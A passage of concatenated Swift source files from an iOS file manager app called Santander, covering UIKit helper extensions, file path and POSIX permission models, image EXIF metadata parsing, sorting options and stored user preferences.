error: Error, title: String, presentingFromIfAvailable presentingVC: UIViewController? = nil, cancelAction: UIAlertAction = .cancel(title: "OK") ) { self.errorAlert(error.localizedDescription, title: title, presentingFromIfAvailable: presentingVC, cancelAction: cancelAction) } func configureNavigationBarToNormal() { let navigationBarAppearance = UINavigationBarAppearance() navigationBarAppearance.configureWithDefaultBackground() navigationController?.navigationBar.compactAppearance = navigationBarAppearance navigationController?.navigationBar.scrollEdgeAppearance = navigationBarAppearance } /// Presents the Activity View Controller, with code to make sure it doesn't crash on iPad func presentActivityVC(forItems items: [Any]) { let vc = UIActivityViewController(activityItems: items, applicationActivities: nil) vc.popoverPresentationController?.sourceView = view let bounds = view.bounds vc.popoverPresentationController?.sourceRect = CGRect(x: bounds.midX, y: bounds.midY, width: 0, height: 0) self.present(vc, animated: true) } func createAlertWithSpinner(title: String, message: String? = nil, heightAnchorConstant: CGFloat = 95) -> UIAlertController { let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert) let spinner = UIActivityIndicatorView() spinner.translatesAutoresizingMaskIntoConstraints = false spinner.startAnimating() alertController.view.addSubview(spinner) NSLayoutConstraint.activate([ alertController.view.heightAnchor.constraint(equalToConstant: heightAnchorConstant), spinner.centerXAnchor.constraint(equalTo: alertController.view.centerXAnchor), spinner.bottomAnchor.constraint(equalTo: alertController.view.bottomAnchor, constant: -20), ]) return alertController } func saveImage(_ image: UIImage) { UIImageWriteToSavedPhotosAlbum(image, self, #selector(didSaveImage(_:error:context:)), nil) } @objc func didSaveImage(_ im: UIImage, error: Error?, context: UnsafeMutableRawPointer?) { if let error = error { errorAlert(error, title: "Unable to save image") } } } extension UIMenu { func appending(_ element: UIMenuElement) -> UIMenu { var children = self.children children.append(element) return self.replacingChildren(children) } } extension UIAlertAction { static func cancel(title: String = "Cancel", handler: (() -> Void)? = nil) -> UIAlertAction { UIAlertAction(title: title, style: .cancel) { _ in handler?() } } } extension FileManager { /// Calculate the allocated size of a directory and all its contents on the volume. /// /// As there's no simple way to get this information from the file system the method /// has to crawl the entire hierarchy, accumulating the overall sum on the way. /// The resulting value is roughly equivalent with the amount of bytes /// that would become available on the volume if the directory would be deleted. /// /// - note: There are a couple of oddities that are not taken into account (like symbolic links, meta data of /// directories, hard links, ...). func allocatedSizeOfDirectory(at directoryURL: URL) throws -> UInt64 { // The error handler simply stores the error and stops traversal var enumeratorError: Error? = nil func errorHandler(_: URL, error: Error) -> Bool { enumeratorError = error return false } // We have to enumerate all directory contents, including subdirectories. let enumerator = self.enumerator(at: directoryURL, includingPropertiesForKeys: Array(allocatedSizeResourceKeys), options: [], errorHandler: errorHandler)! // We'll sum up content size here: var accumulatedSize: UInt64 = 0 // Perform the traversal. for item in enumerator { // Bail out on errors from the errorHandler. if enumeratorError != nil { break } // Add up individual file sizes. let contentItemURL = item as! URL accumulatedSize += try contentItemURL.regularFileAllocatedSize() } // Rethrow errors from errorHandler. if let error = enumeratorError { throw error } return accumulatedSize } } fileprivate let allocatedSizeResourceKeys: Set = [ .isRegularFileKey, .fileAllocatedSizeKey, .totalFileAllocatedSizeKey, ] extension NSNotification.Name { static var pathGroupsDidChange: NSNotification.Name { return NSNotification.Name("pathGroupsDidChange") } } extension Date { func listFormatted() -> String { if #available(iOS 15.0, *) { return self.formatted(date: .long, time: .shortened) } else { let dateFormatter = DateFormatter() dateFormatter.dateStyle = .long dateFormatter.timeStyle = .short return dateFormatter.string(from: self) } } } extension Collection { subscript(safe safeIndex: Index) -> Element? { return self.indices.contains(safeIndex) ? self[safeIndex] : nil } } extension UTType { public static func generictypes() -> [UTType] { return [ .content, .image, .video, .text, .audio, .movie, .sourceCode, .executable ] } public static func audioTypes() -> [UTType] { return [ .mp3, .aiff, .wav, .midi ] } public static func programmingTypes() -> [UTType] { var arr: [UTType] = [ .swiftSource, .assemblyLanguageSource, .cSource, .objectiveCSource, .objectiveCPlusPlusSource, .cPlusPlusSource, .cHeader, .cPlusPlusHeader, .script, .shellScript, .javaScript, .pythonScript, .rubyScript, .perlScript, .phpScript ] // UTType.makefile is 15+ if #available(iOS 15.0, *) { arr.append(.makefile) } return arr } public static func compressedFormatTypes() -> [UTType] { return [ .zip, .gzip, .bz2 ] } public static func imageTypes() -> [UTType] { return [ .png, .gif, .jpeg, .webP, .tiff, .bmp, .svg, .heif ] } public static func documentTypes() -> [UTType] { return [ .json, .yaml, .rtf, .xml, .propertyList, .pdf ] } public static func systemTypes() -> [UTType] { return [ .bundle, .application, .framework, .log, .database, .diskImage, .package ] } public static func executableTypes() -> [UTType] { return [ .executable, UTType(filenameExtension: "dylib") ] .compactMap { $0 } } /// Checks whether the type is equal to the type given in the parameters /// or a parameter of said type func isOfType(_ type: UTType) -> Bool { return type == self || self.isSubtype(of: type) } } extension UITableViewController { func indexPaths(forSection section: Int) -> [IndexPath] { let allRows = self.tableView(tableView, numberOfRowsInSection: section) return (0.. UITableViewCell { let cell = UITableViewCell() var conf = cell.defaultContentConfiguration() conf.text = text cell.contentConfiguration = conf view.translatesAutoresizingMaskIntoConstraints = false cell.contentView.addSubview(view) NSLayoutConstraint.activate([ view.rightAnchor.constraint(equalTo: cell.contentView.rightAnchor, constant: rightAnchorConstant), view.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor) ]) return cell } /// A title view for a header, containing a button and a title func sectionHeaderWithButton( sectionTag: Int, titleText: String?, buttonCustomization: (UIButton) -> Void ) -> UIView { let view = UIView() let label = UILabel() let button = UIButton() buttonCustomization(button) button.tag = sectionTag label.text = titleText label.font = .systemFont(ofSize: 18, weight: .bold) label.translatesAutoresizingMaskIntoConstraints = false button.translatesAutoresizingMaskIntoConstraints = false view.addSubview(label) view.addSubview(button) NSLayoutConstraint.activate([ label.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 10), label.topAnchor.constraint(equalTo: view.topAnchor, constant: 10), button.trailingAnchor.constraint(equalTo: view.trailingAnchor, constant: -5), button.topAnchor.constraint(equalTo: view.topAnchor, constant: 5), ]) return view } /// Returns a UIView of a footer view of the tableView's seperator color func seperatorFooterView() -> UIView { let result = UIView() // recreate insets from existing ones in the table view let insets = tableView.separatorInset let width = tableView.bounds.width - insets.left - insets.right let sepFrame = CGRect(x: insets.left, y: -0.5, width: width, height: 0.5) // create layer with separator, setting color let sep = CALayer() sep.frame = sepFrame sep.backgroundColor = tableView.separatorColor?.cgColor result.layer.addSublayer(sep) return result } func deleteURL(_ path: Path, completionHandler: @escaping (Bool) -> Void) { let confirmationController = UIAlertController(title: "Are you sure you want to delete \"\(path.lastPathComponent)\"?", message: nil, preferredStyle: .alert) let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { _ in do { try FSOperation.perform(.removeItems(items: [path.url]), rootHelperConf: RootConf.shared) completionHandler(true) } catch { self.errorAlert(error, title: "Failed to delete \"\(path.lastPathComponent)\"") completionHandler(false) } } let cancelAction: UIAlertAction = .cancel { completionHandler(false) } confirmationController.addAction(deleteAction) confirmationController.addAction(cancelAction) self.present(confirmationController, animated: true) } } extension UIImage { func imageWith(newSize: CGSize) -> UIImage { let image = UIGraphicsImageRenderer(size: newSize).image { _ in draw(in: CGRect(origin: .zero, size: newSize)) } return image.withRenderingMode(renderingMode) } } extension UIAction { convenience init(withClosure closure: @escaping () -> Void) { self.init { _ in closure() } } } // why the hell is this not built in already? extension Optional: Comparable where Wrapped: Comparable { public static func < (lhs: Optional, rhs: Optional) -> Bool { guard let lhs = lhs, let rhs = rhs else { return false } return lhs < rhs } } extension UITableView.Style: CaseIterable, CustomStringConvertible { static var userPreferred: UITableView.Style { return UITableView.Style(rawValue: UserPreferences.preferredTableViewStyle) ?? .insetGrouped } public static var allCases: [UITableView.Style] = [.insetGrouped, .grouped, .plain] public var description: String { switch self { case .plain: return "Plain" case .grouped: return "Grouped" case .insetGrouped: return "Inset Grouped" @unknown default: return "Unknown Mode" } } } extension Array where Element: OptionSet { // bizzare! see https://forums.swift.org/t/reducing-array-optionset-to-optionset/4438/8 func reducingToSingleOptionSet() -> Element { return self.reduce(Element()) { return $0.union($1) } } } extension passwd { init?(fileURLOwner fileURL: URL) { var buffer = stat() guard lstat(fileURL.path, &buffer) == 0, let pwd = getpwuid(buffer.st_uid)?.pointee else { return nil } self = pwd } } extension UIUserInterfaceStyle: CaseIterable { public static var allCases: [UIUserInterfaceStyle] = [.unspecified, .dark, .light] var description: String { switch self { case .unspecified: return "System" case .light: return "Light" case .dark: return "Dark" @unknown default: return "Unknown Mode" } } } extension UITableViewCell { func colorCircleAccessoryView(color: UIColor) -> UIView { let colorPreview = UIView(frame: CGRect(x: 0, y: 0, width: 29, height: 29)) colorPreview.backgroundColor = color colorPreview.layer.cornerRadius = colorPreview.frame.size.width / 2 colorPreview.layer.borderWidth = 1.5 colorPreview.layer.borderColor = UIColor.systemGray.cgColor return colorPreview } } extension Dictionary where Key == String, Value == SerializedItemType { func asAnyDictionary() -> [String: Any] { var dict: [String: Any] = [:] for (key, value) in self { dict[key] = value.representedObject } return dict } } extension Dictionary where Key == String, Value == Any { func asSerializedDictionary() -> SerializedDictionaryType { var dict: SerializedDictionaryType = [:] for (key, value) in self { dict[key] = SerializedItemType(item: value) } return dict } } extension UIDevice { static let isiPad = current.userInterfaceIdiom == .pad } extension DateFormatter { /// A Date Formatter which could be used to format dates /// used in EXIF metadata static let EXIFDateFormatter = DateFormatter(withFormat: "yyyy:MM:dd HH:mm:ss") static let IPTCDateFormatter = DateFormatter(withFormat: "yyyyMMdd") convenience init(withFormat dateFormat: String) { self.init() self.dateFormat = dateFormat } } extension UIApplication { var sceneKeyWindow: UIWindow? { return UIApplication.shared .connectedScenes .flatMap { ($0 as? UIWindowScene)?.windows ?? [] } .first { $0.isKeyWindow } } } extension CTFontDescriptor { var uiFont: UIFont { return CTFontCreateWithFontDescriptor(self, UserPreferences.fontViewerFontSize, nil) as UIFont } } extension UIPasteboard { var probableURL: URL? { if let url = url { return url } if let string = string, string.hasPrefix("/") { return URL(fileURLWithPath: string) } return nil } } extension UIApplication { func setShortcutItems>(intoURLs urls: URLCollection) { shortcutItems = urls.map { bookmark in return UIApplicationShortcutItem(type: bookmark.url.absoluteString, localizedTitle: bookmark.lastPathComponent, localizedSubtitle: bookmark.path, icon: nil, userInfo: ["ShortcutURLToOpenTo": bookmark.path] as [String: NSSecureCoding]) } } } extension Array { func toURL() -> [URL] { map(\.url) } } ================================================ FILE: Santander/Other/GoToItem.swift ================================================ // // GoToItem.swift // Santander // // Created by Serena on 24/10/2022 // import UIKit /// An item displayed for the user in the "Go to.." menu struct GoToItem: Hashable { /// The dictionary to describe Go To Items which may or may not exist (as in, the URL path itself may or may not exist on disk) private typealias MayExistDictionary = [String: (URL?, UIImage?)] let displayName: String let url: URL let image: UIImage? init(displayName: String, url: URL, image: UIImage?) { self.displayName = displayName self.url = url self.image = image } // this is here to make code below easier to read private static func _searchPathDirURL(_ searchPath: FileManager.SearchPathDirectory) -> URL? { return FileManager.default.urls(for: searchPath, in: .userDomainMask).first } private static func _generateAll() -> [GoToItem] { // these items always exist and will always be displayed let coreItems: [GoToItem] = [ GoToItem(displayName: "Root", url: URL(fileURLWithPath: "/var/root"), image: nil), GoToItem(displayName: "Home", url: .home, image: UIImage(systemName: "house")) ] let mayExistDict: MayExistDictionary = [ "Applications": (_searchPathDirURL(.applicationDirectory), .appsDirectory), "Library": (_searchPathDirURL(.libraryDirectory), .libraryDirectory), "Documents": (_searchPathDirURL(.documentDirectory), .documentDirectory), "Downloads": (_searchPathDirURL(.downloadsDirectory), .downloadsDirectory) ] let mayExistItems: [GoToItem] = mayExistDict.compactMap { (key, value) in let (url, image) = value guard let url = url, FileManager.default.fileExists(atPath: url.path) else { return nil } return GoToItem(displayName: key, url: url, image: image) } return coreItems + mayExistItems } static let all = _generateAll() } fileprivate extension UIImage { static let appsDirectory = UIImage(systemName: "app.dashed") static let libraryDirectory = UIImage(systemName: "books.vertical") static let documentDirectory = UIImage(systemName: "doc") static let downloadsDirectory = UIImage(systemName: "arrow.down.circle") } ================================================ FILE: Santander/Other/ImageMetadata.swift ================================================ // // ImageMetadata.swift // Santander // // Created by Serena on 24/08/2022. // import Foundation import ImageIO import CoreLocation // warning: tons of `[String: Any]` usage ahead. /// A Class containing metadata of an image at a specified URL class ImageMetadata { let pixelWidth: Int? let pixelHeight: Int? var location: ImageLocation let exifInfo: ImageExifInfo? let cameraInfo: ImageCameraInfo? let dateTimeTaken: Date? /// The dictionary containing all values var dictionary: [String: Any] func setProperties(toDictionary newDict: [String: Any], forFileURL fileURL: URL) -> Bool { guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil), let type = CGImageSourceGetType(imageSource), let dest = CGImageDestinationCreateWithURL(fileURL as CFURL, type, 1, nil) else { return false } CGImageDestinationAddImageFromSource(dest, imageSource, 0, newDict as CFDictionary) if CGImageDestinationFinalize(dest) { self.dictionary = newDict return true } else { return false } } convenience init?(fileURL: URL) { guard let imageSource = CGImageSourceCreateWithURL(fileURL as CFURL, nil), let dict = CGImageSourceCopyPropertiesAtIndex(imageSource, 0, nil) as? [String: Any] else { return nil } self.init(dictionary: dict) } init(dictionary dict: [String: Any]) { self.pixelWidth = dict[kCGImagePropertyPixelWidth as String] as? Int self.pixelHeight = dict[kCGImagePropertyPixelHeight as String] as? Int if let exifDict = dict[kCGImagePropertyExifDictionary as String] as? [String: Any] { self.exifInfo = ImageExifInfo(exifDict: exifDict) } else { self.exifInfo = nil } if let gpsDict = dict[kCGImagePropertyGPSDictionary as String] as? [String: Any] { let lat = gpsDict[kCGImagePropertyGPSLatitude as String] as? CLLocationDegrees let long = gpsDict[kCGImagePropertyGPSLongitude as String] as? CLLocationDegrees self.location = ImageLocation(lat: lat, long: long) } else { self.location = ImageLocation(lat: nil, long: nil) } if let tiffDict = dict[kCGImagePropertyTIFFDictionary as String] as? [String: Any] { self.cameraInfo = ImageCameraInfo(tiffDictionary: tiffDict) if let dateTime = tiffDict[kCGImagePropertyTIFFDateTime as String] as? String { self.dateTimeTaken = DateFormatter.EXIFDateFormatter.date(from: dateTime) } else { self.dateTimeTaken = nil } } else { self.cameraInfo = nil self.dateTimeTaken = nil } self.dictionary = dict // print(dict) } } struct ImageLocation { var lat: CLLocationDegrees? var long: CLLocationDegrees? var coordinate: CLLocationCoordinate2D? { guard let lat = lat, let long = long else { return nil } return CLLocationCoordinate2D(latitude: lat, longitude: long) } } /// Contains the information about the image's camera. struct ImageCameraInfo { let manufacturer: String? let model: String? let softwareVersion: String? init(tiffDictionary: [String: Any]) { self.manufacturer = tiffDictionary[kCGImagePropertyTIFFMake as String] as? String self.model = tiffDictionary[kCGImagePropertyTIFFModel as String] as? String self.softwareVersion = tiffDictionary[kCGImagePropertyTIFFSoftware as String] as? String } } struct ImageExifInfo { let apertureValue: Double? let brightnessValue: Double? let lensModel: String? let lensManufacturer: String? init(exifDict: [String: Any]) { self.apertureValue = exifDict[kCGImagePropertyExifApertureValue as String] as? Double self.brightnessValue = exifDict[kCGImagePropertyExifBrightnessValue as String] as? Double self.lensModel = exifDict[kCGImagePropertyExifLensModel as String] as? String self.lensManufacturer = exifDict[kCGImagePropertyExifLensMake as String] as? String } } ================================================ FILE: Santander/Other/LoadingValueState.swift ================================================ // // LoadingValueState.swift // Santander // // Created by Serena on 08/11/2022 // import Foundation /// Describes the state of a value which can be loaded in the UI asynchronously, /// ie, loading the size of a path enum LoadingValueState { case loading case unavailable case value(Value) } ================================================ FILE: Santander/Other/Path.swift ================================================ // // Path.swift // Santander // // Created by Serena on 10/02/2023. // import UIKit import UniformTypeIdentifiers import ApplicationsWrapper struct Path: Hashable, ExpressibleByStringLiteral { static let resourceKeys: Set = [.isDirectoryKey, .contentTypeKey] static let root: Path = "/" static let home: Path = Path(url: URL(fileURLWithPath: NSHomeDirectory())) var url: URL var lastPathComponent: String var isDirectory: Bool var contentType: UTType? lazy var size = _getSize() lazy var displayImage: UIImage? = _displayImage() /// A Dictionary containing the systemName for icons for of certain UTTypes static let iconsDictionary: [UTType: String] = [ .text: "doc.text", .image: "photo", .audio: "waveform", .video: "play", .movie: "play", .executable: "terminal" ] static func isUType(_ type: UTType, ofAnotherType another: UTType) -> Bool { return type == another || type.isSubtype(of: another) } var path: String { url.path } var displayName: String { FileManager.default.displayName(atPath: url.path) } var pathExtension: String { return url.pathExtension } var containsAppUUIDSubpaths: Bool { return url.pathComponents.contains("Containers") || url.pathComponents.contains("containers") } func deletingLastPathComponent() -> Path { return Path(url: url.deletingLastPathComponent()) } func deletingPathExtension() -> Path { return Path(url: url.deletingPathExtension()) } func appendingPathExtension(_ ext: String) -> Path { return Path(url: url.appendingPathExtension(ext)) } func appendingPathComponent(_ component: String) -> Path { return Path(url: url.appendingPathComponent(component)) } func appendingPathComponent(_ component: String) -> URL { return url.appendingPathComponent(component) } var resolvedURL: URL { return (try? URL(resolvingAliasFileAt: url)) ?? url } var contents: [Path] { let urls = (try? FileManager.default.contentsOfDirectory(at: url, includingPropertiesForKeys: nil)) ?? [] return urls.map { url in Path(url:url) } } var applicationItem: LSApplicationProxy? { if pathExtension == "app" { return ApplicationsManager.shared.application(forBundleURL: self.url) } return ApplicationsManager.shared.application(forContainerURL: self.url) ?? ApplicationsManager.shared.application(forDataContainerURL: self.url) } private func _getSize() -> Int? { if isDirectory { var _size: Int = 0 for var content in contents { _size += content.size ?? 0 } return _size } return try? url.resourceValues(forKeys: [.fileSizeKey]).fileSize } var isReadable: Bool { return FileManager.default.isReadableFile(atPath: url.path) } private func _displayImage() -> UIImage? { if isDirectory { return UIImage(systemName: "folder.fill") } else { // `UTType.data` is a generic type, // return the generic symbol for files for it. guard let type = self.contentType, type != .data else { return UIImage(systemName: "doc") } let imageName = Self.iconsDictionary.first { (key, _) in Self.isUType(type, ofAnotherType: key) } return UIImage(systemName: imageName?.value ?? "doc") } } init(url: URL) { self.url = url self.lastPathComponent = url.lastPathComponent let resourceValues = try? url.resourceValues(forKeys: Self.resourceKeys) self.isDirectory = resourceValues?.isDirectory ?? false self.contentType = resourceValues?.contentType } init(stringLiteral value: StringLiteralType) { self.init(url: URL(fileURLWithPath: value)) } } ================================================ FILE: Santander/Other/PathMetadata.swift ================================================ // // PathMetadata.swift // Santander // // Created by Serena on 04/08/2022. // import Foundation import UniformTypeIdentifiers /// Describes the information about a given path struct PathMetadata { /// The resource values to fetch static let resourceValueKeys: Set = [ .creationDateKey, .contentAccessDateKey, .addedToDirectoryDateKey, .contentModificationDateKey, .contentTypeKey ] /// The date the path was created let creationDate: Date? /// The date the path was added to it's parent directory let addedToDirectoryDate: Date? /// The date this path was last modified let lastModifiedDate: Date? /// The date this path was last accessed let lastAccessedDate: Date? /// The type of the path let contentType: UTType? /// The applied permissions of the path var permissions: PathPermissions? init(filePath path: Path, resourceValues: Set = resourceValueKeys) { let resourceValues = try? path.url.resourceValues(forKeys: resourceValues) self.creationDate = resourceValues?.creationDate self.addedToDirectoryDate = resourceValues?.addedToDirectoryDate self.lastModifiedDate = resourceValues?.contentModificationDate self.lastAccessedDate = resourceValues?.contentAccessDate self.contentType = resourceValues?.contentType self.permissions = PathPermissions(fileURL: path.url) } } ================================================ FILE: Santander/Other/PathTransitioning.swift ================================================ // // PathTransitioning.swift // Santander // // Created by Serena on 12/10/2022 // import Foundation /// A Protocol describing an object which can move from it's current path to another protocol PathTransitioning { func goToPath(path: Path) } ================================================ FILE: Santander/Other/PathType.swift ================================================ // // PathType.swift // Santander // // Created by Serena on 27/06/2022 // import UIKit extension UIViewController { /// Presents an alert to create a new path based on the path type func presentAlertAndCreate(type: PathType, forURL url: URL) { let alert = UIAlertController(title: "New \(type.description)", message: nil, preferredStyle: .alert) alert.addTextField { textField in textField.placeholder = "name" } let createAction = UIAlertAction(title: "Create", style: .default) { _ in guard let name = alert.textFields?.first?.text, !name.isEmpty else { return } let urlToCreate = url.appendingPathComponent(name) do { switch type { case .file: try FSOperation.perform(.createFile(files: [urlToCreate]), rootHelperConf: RootConf.shared) case .directory: try FSOperation.perform(.createDirectory(directories: [urlToCreate]), rootHelperConf: RootConf.shared) } } catch { self.errorAlert(error, title: "Unable to create \(name)") } } alert.addAction(.cancel()) alert.addAction(createAction) self.present(alert, animated: true) } } enum PathType: CustomStringConvertible { case file, directory var description: String { switch self { case .file: return "file" case .directory: return "directory" } } } ================================================ FILE: Santander/Other/PathsSortMethods.swift ================================================ // // PathsSortMethods.swift // Santander // // Created by Serena on 24/06/2022 // import Foundation /// The ways to sort given subpaths enum PathsSortMethods: String, CaseIterable, CustomStringConvertible { case alphabetically case size case type case dateCreated case dateModified case dateAccessed case dateAdded static var userPrefered: PathsSortMethods? { if let string = UserDefaults.standard.string(forKey: "SubPathsSortMode"), let sortMode = PathsSortMethods(rawValue: string) { return sortMode } return nil } var description: String { switch self { case .alphabetically: return "Alphabetical order" case .size: return "Size" case .type: return "Type" case .dateCreated: return "Date created" case .dateModified: return "Date modified" case .dateAccessed: return "Date accessed" case .dateAdded: return "Date Added" } } /// Sorts an array of URLs with the current sort method func sorting(URLs urls: [Path], sortOrder: SortOrder) -> [Path] { return urls.sorted { (first: Path, second: Path) in let ascending: Bool let firstURL = first.url let secondURL = second.url switch self { case .alphabetically: ascending = firstURL.lastPathComponent < secondURL.lastPathComponent case .size: ascending = firstURL.size > secondURL.size case .type: return firstURL.contentType == secondURL.contentType case .dateCreated: ascending = firstURL.creationDate > secondURL.creationDate case .dateModified: ascending = firstURL.lastModifiedDate > secondURL.lastModifiedDate case .dateAccessed: ascending = firstURL.lastAccessedDate > secondURL.lastAccessedDate case .dateAdded: ascending = firstURL.addedToDirectoryDate > secondURL.addedToDirectoryDate } if sortOrder == .descending { return !ascending } return ascending } } } enum SortOrder: String, CaseIterable, CustomStringConvertible { case ascending, descending init(rawValue: String) { switch rawValue.lowercased() { case "ascending": self = .ascending case "descending": self = .descending default: self = .ascending // Default to ascending } } static var userPreferred: SortOrder { guard let rawValue = UserDefaults.standard.string(forKey: "SortOrder") else { return .ascending } return self.init(rawValue: rawValue) } var description: String { switch self { case .ascending: return "Ascending" case .descending: return "Descending" } } /// The SF Symbol name of the sort order var imageSymbolName: String { switch self { case .ascending: return "chevron.up" case .descending: return "chevron.down" } } func toggling() -> SortOrder { switch self { case .ascending: return .descending case .descending: return .ascending } } } ================================================ FILE: Santander/Other/Permissions.swift ================================================ // // Permissions.swift // Santander // // Created by Serena on 05/08/2022. // import Foundation /// Represents the permissions of a path in POSIX Style struct Permission: OptionSet, CustomStringConvertible, Equatable { public var rawValue: Int /// Grants the permission to execute a file static let execute = Permission(rawValue: 1) /// Grants the permission to modify a file static let write = Permission(rawValue: 2) /// Grants the permission to read a file static let read = Permission(rawValue: 4) init(rawValue: Int) { self.rawValue = rawValue } /// Initializes a new instant by checking the `st_mode` of the stat buffer /// and matching the constants given. /// see `ownerPermsConstants`, `groupPermsConstants`, and `otherUsersPermsConstants` init(buffer: stat, constants: [UInt16: Permission]) { self = constants.filter { (constant, _) in return (buffer.st_mode & constant) != 0 } .map(\.value) .reducingToSingleOptionSet() } var binaryRepresentation: String { var b = String(rawValue, radix: 2) while b.count < 3 { b = "0" + b } return b } var description: String { return "Readable: \(contains(.read)), Writable: \(contains(.write)), Executable: \(contains(.execute))" } static func binaryRepresentation(of permissions: [Permission]) -> String { return permissions.map { $0.binaryRepresentation }.joined() } static func octalRepresentation(of permissions: [Permission]) -> Int { let binary = binaryRepresentation(of: permissions) return Int(binary, radix: 2)! } /// A dictionary representing the constants which could be checked /// for the owner permissions of a path static let ownerPermsConstants: [UInt16: Permission] = [ S_IRUSR: .read, S_IWUSR: .write, S_IXUSR: .execute ] /// A dictionary representing the constants which could be checked /// for the group permissions of a path static let groupPermsConstants: [UInt16: Permission] = [ S_IRGRP: .read, S_IWGRP: .write, S_IXGRP: .execute ] /// A dictionary representing the constants which could be checked /// for the permissions of other users of a path static let otherUsersPermsConstants: [UInt16: Permission] = [ S_IROTH: .read, S_IWOTH: .write, S_IXOTH: .execute ] } /// Represents the permissions of a path, /// including permissions for owner, group, and other users struct PathPermissions: Equatable { let fileURL: URL var ownerPermissions: Permission var groupPermissions: Permission var otherUsersPermissions: Permission var ownerName: String? var groupOwnerName: String? init?(fileURL: URL) { var buffer = stat() guard lstat(fileURL.path, &buffer) == 0 else { return nil } self.ownerPermissions = Permission(buffer: buffer, constants: Permission.ownerPermsConstants) self.groupPermissions = Permission(buffer: buffer, constants: Permission.groupPermsConstants) self.otherUsersPermissions = Permission(buffer: buffer, constants: Permission.otherUsersPermsConstants) let attrs = try? FileManager.default.attributesOfItem(atPath: fileURL.path) self.ownerName = attrs?[.ownerAccountName] as? String self.groupOwnerName = attrs?[.groupOwnerAccountName] as? String self.fileURL = fileURL } init(fileURL: URL, ownerPermissions: Permission, groupPermissions: Permission, otherUsersPermissions: Permission, ownerName: String? = nil, groupOwnerName: String? = nil) { self.fileURL = fileURL self.ownerPermissions = ownerPermissions self.groupPermissions = groupPermissions self.otherUsersPermissions = otherUsersPermissions self.ownerName = ownerName self.groupOwnerName = groupOwnerName } func apply() throws { try fileURL.setPermissions(forOwner: ownerPermissions, group: groupPermissions, others: otherUsersPermissions) } } ================================================ FILE: Santander/Other/Preferences/Storage.swift ================================================ // // Storage.swift // Santander // // Created by Serena on 06/07/2022 // import Foundation @propertyWrapper struct Storage { let key: String let defaultValue: T init(key: String, defaultValue: T) { self.key = key self.defaultValue = defaultValue } var wrappedValue: T { get { return UserDefaults.standard.object(forKey: key) as? T ?? defaultValue } set { UserDefaults.standard.set(newValue, forKey: key) } } } @propertyWrapper struct CodableStorage { typealias ChangeHandler = ((T) -> ()) let key: String let defaultValue: T var didChange: ChangeHandler? init(key: String, defaultValue: T, didChange: ChangeHandler?) { self.key = key self.defaultValue = defaultValue self.didChange = didChange } var wrappedValue: T { get { guard let data = UserDefaults.standard.data(forKey: key), let decoded = try? JSONDecoder().decode(T.self, from: data) else { return defaultValue } return decoded } set { guard let encoded = try? JSONEncoder().encode(newValue) else { return } UserDefaults.standard.set(encoded, forKey: key) didChange?(newValue) } } } ================================================ FILE: Santander/Other/Preferences/UserPreferences.swift ================================================ // // UserPreferences.swift // Santander // // Created by Serena on 22/06/2022 // import UIKit /// Contains user preferences used in the Application enum UserPreferences { @Storage(key: "UseLargeNavTitles", defaultValue: true) static var useLargeNavigationTitles: Bool /// Bookmarked paths saved by the user, stored as Data. /// see URL.bookmarkData @Storage(key: "BookmarksData", defaultValue: []) static private var _bookmarksData: [Data] /// Bookmarked paths by saved the user static var bookmarks: Set { get { var dataArr = self._bookmarksData let arr: [Path] = dataArr.compactMap { data in var isStale: Bool = false guard let url = try? URL(resolvingBookmarkData: data, bookmarkDataIsStale: &isStale) else { return nil } // replace if stale if isStale, let indx = dataArr.firstIndex(of: data), let urlData = try? url.bookmarkData() { dataArr[indx] = urlData self._bookmarksData = dataArr } return Path(url: url) } return Set(arr) } set { _bookmarksData = newValue.compactMap { url in try? url.url.bookmarkData() } if displayRecentlyBookmarked { // put last 5 items as the short cut items let bookmarks: [Path] = newValue.suffix(5) UIApplication.shared.setShortcutItems(intoURLs: bookmarks) } } } @Storage(key: "AlwaysShowSearchBar", defaultValue: true) static var alwaysShowSearchBar: Bool @Storage(key: "ShowInfoButton", defaultValue: false) static var showInfoButton: Bool @Storage(key: "LastOpenedPath", defaultValue: nil) static var lastOpenedPath: String? @Storage(key: "UseLastOpenedPathWhenLaunching", defaultValue: true) static var useLastOpenedPathWhenLaunching: Bool @Storage(key: "UserPreferredLaunchPath", defaultValue: nil) static var userPreferredLaunchPath: String? @Storage(key: "TextEditorWrapLines", defaultValue: true) static var wrapLines: Bool @Storage(key: "TextEditorShowLineCount", defaultValue: true) static var showLineCount: Bool @Storage(key: "TextEditorUseCharacterPairs", defaultValue: true) static var useCharacterPairs: Bool /// The amount of seconds in the go forward / go backward buttons in the `AudioPlayerViewController` @Storage(key: "AudioVCSkipDuration", defaultValue: 15) static var skipDuration: Int /// The speed of the audio in the `AudioPlayerViewController` @Storage(key: "AudioVCSpeed", defaultValue: 1) static var audioVCSpeed: Float /// Whether or not to display files whose name starts with a dot @Storage(key: "displayHiddenFiles", defaultValue: true) static var displayHiddenFiles: Bool /// The user interface style (dark, light, system) which the user choses to use @Storage(key: "userIntefaceStyle", defaultValue: UIUserInterfaceStyle.unspecified.rawValue) static var preferredInterfaceStyle: Int @Storage(key: "userPreferredTableViewStyle", defaultValue: UITableView.Style.insetGrouped.rawValue) static var preferredTableViewStyle: Int @Storage(key: "FontViewerFontSize", defaultValue: 30) static var fontViewerFontSize: CGFloat @Storage(key: "AssetCatalogControllerLayoutMode", defaultValue: AssetCatalogViewController.LayoutMode.verical.rawValue) static var assetCatalogControllerLayoutMode: Int @Storage(key: "RootHelperEnabled", defaultValue: false) static var rootHelperIsEnabled: Bool @Storage(key: "DisplayRecentlyUsedPathsInAppShortcuts", defaultValue: true) static var displayRecentlyBookmarked: Bool @CodableStorage(key: "PathGroups", defaultValue: [.default], didChange: { groups in NotificationCenter.default.post(name: .pathGroupsDidChange, object: groups) }) static var pathGroups: [PathGroup] /// The path to launch upon opening the program, /// if this is nil, use `URL.root` instead. static var launchPath: String? { useLastOpenedPathWhenLaunching ? lastOpenedPath : userPreferredLaunchPath } @CodableStorage(key: "TextEditorTheme", defaultValue: CodableTextEditorTheme(), didChange: nil) static var textEditorTheme: CodableTextEditorTheme @CodableStorage(key: "AppTintColor", defaultValue: CodableColor(.systemBlue), didChange: nil) static var appTintColor: CodableColor } /// A Group containing paths struct PathGroup: Codable, Hashable { let name: String var paths: [URL] static let `default` = PathGroup(name: "Default", paths: [.root]) func hash(into hasher: inout Hasher) { hasher.combine(name) hasher.combine(paths) 